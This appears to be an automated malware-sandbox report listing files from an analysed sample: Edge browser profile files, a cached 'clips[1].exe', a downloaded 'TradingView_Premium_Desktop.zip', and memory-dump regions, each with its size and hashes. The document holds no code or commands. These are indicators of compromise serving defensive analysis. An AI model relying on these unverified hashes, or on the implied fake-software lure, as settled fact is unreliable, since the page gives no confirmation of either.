ccc986e961642aefd4334dd595d1117bac7f146aee3d0f85d294fce3e39e765bfd3def45c1823412ac784ec9f5e395e91956b2cd8577f8f48789e5cccb6ac2f8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History

Filesize
116KB

MD5
9bc1f1edd5e493e916a391256d51b508

SHA1
d64974ce54f1ce02d556404ba8076b0e98c448a3

SHA256
cb0213a6171da3aeef6a01ccaceb9ddaf387e37fba07671945bd33f3c37860f5

SHA512
69d3a918684f0b0b4d5422dd8b7a13b397e8fb0338dfde10ef68af49bb26d5f4c7abd9befb6935ffe123c1165dbb0f744003d0d38f7c0104a68de60df6084ef4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
c70dbe8ac79483e6d27c88498bb81d78

SHA1
05426884bd0f1695818b536328d70df86386bf5c

SHA256
086050ccc144be54a248de859a1e6077b6866608734927f9ecf2c679fd3ccd07

SHA512
378286695e7890997dc8271a7b81150e7cbf8c94cb3e9a17ed83965135d7533262e9e791c2833f783604432667c0d3ae0ff085e460664edb8315fc2d20e7ec66

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
e5ed424302dcfb1d5d4cc65726fa4850

SHA1
3783c6c40cad14d5f7f5d39caef9034c439f91ae

SHA256
2348e3ae99b490885d8174812eff7bc43ef8fa4fc6c5412dea24aa98b923ca2b

SHA512
fdc251485bf355f58a168de0bb111a1bd7aeae95ced719774e13f2086c114b47d3aaae06b49fcbe7d6daedf8929474d5ef296ff971264447dfa1a495a3941807

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
a894931e5ba9d260601308ceba058049

SHA1
accd32a81bf0a0ece94345f3666c1255f3caa8c1

SHA256
a5df03c9272f606f958ba29c8bd1dc77dd785142abd07cd1d63dda4562f0a127

SHA512
e5e1d72009b83981162ea60074ca7df20ee7cb6417af47611af90bd016a7c77c9c624d2e0dbb416ec8aef308d832fb45536c1d14e3cf605060593c85d394a050

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
0236a6b1129225f9c4c73b80960b8086

SHA1
1c11f550fbdeb22335f744e184c33bf6732f9466

SHA256
2722884cd2877a17fe20148039ef13e9ac7324bfa0845acbb0bdc526831828b4

SHA512
42e6b23543790ade81ed22eec8db79627f9a45a051e5f49b361bb650cdca17e613b28dff0560179d3d95e40b4d8562a4767692417104190e1a8f7ca2da6c4e06

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
3905711fa05d99f4aa52f102c89ed9fa

SHA1
4faf316b88b505d3c2ce03b96f7e00b278295061

SHA256
36eac6bb0dde616fd75981a0f5f93d7e2380a6f7e37641d9d771bb5ca29a4a6b

SHA512
654b552018d2ca743a92e74c7b423f13659da56c608bff072f876378722d1e0f511b808f0c672d08596a428a4e0167f65cc3ff7aee95397f3d3e9fe110028954

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
692B

MD5
c0539fd4d667027455fe72be18e3d6cf

SHA1
7633abd49738123edd2c51a81acc3e4324572650

SHA256
8cb05d9bcf1cb90acade74a6e8c548286de965f7e779a5dec08e25f56b75041e

SHA512
7bc6b0b0994723a14782190074300ce9906796c1054c0b5e9c567c1e67d316940598474f30097cb8e2a2875c15bd0421b6e09958321480ba38e7fe9f2440e719

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
688B

MD5
e7563a7665cab8fd798b7bfdddb9d43b

SHA1
cf74570feb242c392d4776fb0e445a9bcfe826de

SHA256
3049b44d8d38375a106de8ea9df68a0c08091c6f48c1627621e83c6a25972efb

SHA512
e26d0cbb52de51ddc4d32b650cdaa8aa6124697d97b666a4990898e158195bb52dfeb3686f38ac2915e9846b24bccaa30c6de56b978314a33622afcc9b4a4228

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
688B

MD5
11ed464733853efda4c15708740a288d

SHA1
ae0cfbc4510a465d36e9b73e4a1444f62061a8af

SHA256
cc3aefe0015da1f72e5f4fb2294d2bed28f6657636e74461ab28ff0c54bec473

SHA512
82cf1fc0f3d7a99172f8621f76c46911b57e0c547d0b430c2d4b792656a10f2b4aca0a06f2bdfd8bfe82b97302cd33dc3a8d42b6821d77efa7377f3e3f4de073

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57b8b1.TMP

Filesize
688B

MD5
5e5d04a2961515820eac2ecb8b973314

SHA1
3233006d29ef0d81e5ed974ce7429f3d1535f550

SHA256
9da6d3369c2fb62bd38feb3a8d7d732149d65a58d7592858794d5dc201793162

SHA512
776b2eaa1cbba371921ca7a54f70c71603de6dc0ca615b6c106f63ffac2dd624b43dde218034e898ebfc8c9b930efe926c61034b550df7b560f7c27c0815ec52

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
d717f4d305fa206f95f59ee4cbed3dc1

SHA1
cc04fd0e554ecf43bc21f4ce98d6dc20ef7727ee

SHA256
a933ff876cef0e93aa4f771a09ba48c35e72526a402fa383436a891998b38a23

SHA512
25ac8bb5bb2b32c547b6c412058f84ee6fd2c0e553d49c91ff54a64c58fea14ddd75200a7d9855e5e7e9e5d6e4ff84a42a06aff316f67e5899b82d32893bb8e0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
d68dc3329c08d61c5436a11820eeadc0

SHA1
b22d07266c3d43f820ed15b574937c0bdbf27239

SHA256
a4e72637c894a59c543b7cd97e6d4f080adf366c051005ef60ce2a2798e515c2

SHA512
378b5e3625972cef067d57f1a011d3b01c601012b17724766e796c26fbf0cbed58cc30d28d451f7360d683d391d6ba0e9bcab3ff43dc3d90985e82ba27f0e5f7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
1c52d6794ce139315d4d0963f7767928

SHA1
7a15809f761923eaebd586269f479bb5e0a389c6

SHA256
a4a7e57a4107996f0c19f851fb31c453fe631ad6a2fca84b61718454492f159d

SHA512
501638e0bd264a0e249080a3695f145a86edc23b1e60a800539d8b1f69e54e11fec1b2de5caff7712328db6ec86a572da44b6b3205ac5b82ef3f17dfe68da4db

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
e40670f3baa5734d3a45580f03e46f38

SHA1
0f47b25c94bf7f136ba9b80b4ef89dc8656598a8

SHA256
4bcd9f97afc6b5e93b4b1da7550d4b909c4e9a4b58592034dd8299d784562169

SHA512
ffd8037fdb4a51f990ed974ed12bac7ae181af1071079687ce83a55614d4ed7bb453ec158569ef3dc3168ed46fde48ae6f34fa271604f14f09c46871d56f30af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\O5QKIIIQ\clips[1].exe

Filesize
3.2MB

MD5
591e2268cf72d349e9b46eddeb65db1e

SHA1
682f4e6840ff963a142e551a9ffc522a50826d61

SHA256
b94f9fa3f084671c30fd0f2c660d580046a480a8ae2790d6da29ab092973d36b

SHA512
f3a537dd310c41f491589d90dc18e97bff5bb16358ccce104ba1fd10d6c026dcddc955c65a19b269fe3a88d0b6cff94e71a68300107278b152c0b831e4c34567

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\OY0860T8\76561199786602107[1].htm

Filesize
35KB

MD5
145fe32abeb56782a109df7e2a768999

SHA1
5b4b43c71e06d7ef8e206bcddb6492dee1b7d969

SHA256
153dfb93e5a91071f29209df278b997a2abebaf6160178a57cd41a6e38fb1930

SHA512
efaf85d9210228dc5a96c1d0c5f7e39f48aea613e40fd37942bc26a77b23a75ab105b9ed99d929db6e4d00374be8a8c19bc709e877dda9141d4033e0e9591092

Download Submit
C:\Users\Admin\Downloads\TradingView_Premium_Desktop.zip:Zone.Identifier

Filesize
26B

MD5
fbccf14d504b7b2dbcb5a5bda75bd93b

SHA1
d59fc84cdd5217c6cf74785703655f78da6b582b

SHA256
eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913

SHA512
aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98

Download Submit
memory/1820-557-0x0000000004320000-0x0000000004321000-memory.dmp

Filesize
4KB

Download
memory/1820-554-0x0000000000A50000-0x0000000000A51000-memory.dmp

Filesize
4KB

Download
memory/1820-553-0x0000000000A40000-0x0000000000A41000-memory.dmp

Filesize
4KB

Download
memory/1820-552-0x0000000000A10000-0x0000000000A11000-memory.dmp

Filesize
4KB

Download
memory/1820-555-0x0000000000A60000-0x0000000000A61000-memory.dmp

Filesize
4KB

Download
memory/1820-551-0x0000000000A00000-0x0000000000A01000-memory.dmp

Filesize
4KB

Download
memory/1820-550-0x0000000000A70000-0x0000000001DC9000-memory.dmp

Filesize
19.3MB

Download
memory/1820-556-0x0000000004310000-0x0000000004311000-memory.dmp

Filesize
4KB

Download
memory/1820-559-0x0000000000A70000-0x0000000001DC9000-memory.dmp

Filesize
19.3MB

Download
memory/2836-520-0x000000000D450000-0x000000000D451000-memory.dmp

Filesize
4KB

Download
memory/2836-516-0x0000000000DA0000-0x00000000020F9000-memory.dmp

Filesize
19.3MB

Download
memory/2836-519-0x000000000BB70000-0x000000000BB71000-memory.dmp

Filesize
4KB

Download
memory/2836-521-0x000000000D460000-0x000000000D461000-memory.dmp

Filesize
4KB

Download
memory/2836-522-0x000000000D470000-0x000000000D471000-memory.dmp

Filesize
4KB

Download
memory/2836-523-0x000000000D480000-0x000000000D481000-memory.dmp

Filesize
4KB

Download
memory/2836-518-0x000000000BB60000-0x000000000BB61000-memory.dmp

Filesize
4KB

Download
memory/2836-525-0x0000000000DA0000-0x00000000020F9000-memory.dmp

Filesize
19.3MB

Download
memory/2836-517-0x000000000BB50000-0x000000000BB51000-memory.dmp

Filesize
4KB

Download
memory/3172-378-0x000000000EED0000-0x000000000EED1000-memory.dmp

Filesize
4KB

Download
memory/3172-371-0x0000000000270000-0x00000000015C9000-memory.dmp

Filesize
19.3MB

Download
memory/3172-497-0x0000000000270000-0x00000000015C9000-memory.dmp

Filesize
19.3MB

Download
memory/3172-372-0x0000000003F10000-0x0000000003F11000-memory.dmp

Filesize
4KB

Download
memory/3172-373-0x0000000003F20000-0x0000000003F21000-memory.dmp

Filesize
4KB

Download
memory/3172-374-0x0000000003F30000-0x0000000003F31000-memory.dmp

Filesize
4KB

Download
memory/3172-375-0x000000000D6F0000-0x000000000D6F1000-memory.dmp

Filesize
4KB

Download
memory/3172-419-0x0000000061E00000-0x0000000061EF3000-memory.dmp

Filesize
972KB

Download
memory/3172-376-0x000000000D700000-0x000000000D701000-memory.dmp

Filesize
4KB

Download
memory/3172-377-0x000000000EEC0000-0x000000000EEC1000-memory.dmp

Filesize
4KB

Download
memory/3172-379-0x0000000000270000-0x00000000015C9000-memory.dmp

Filesize
19.3MB

Download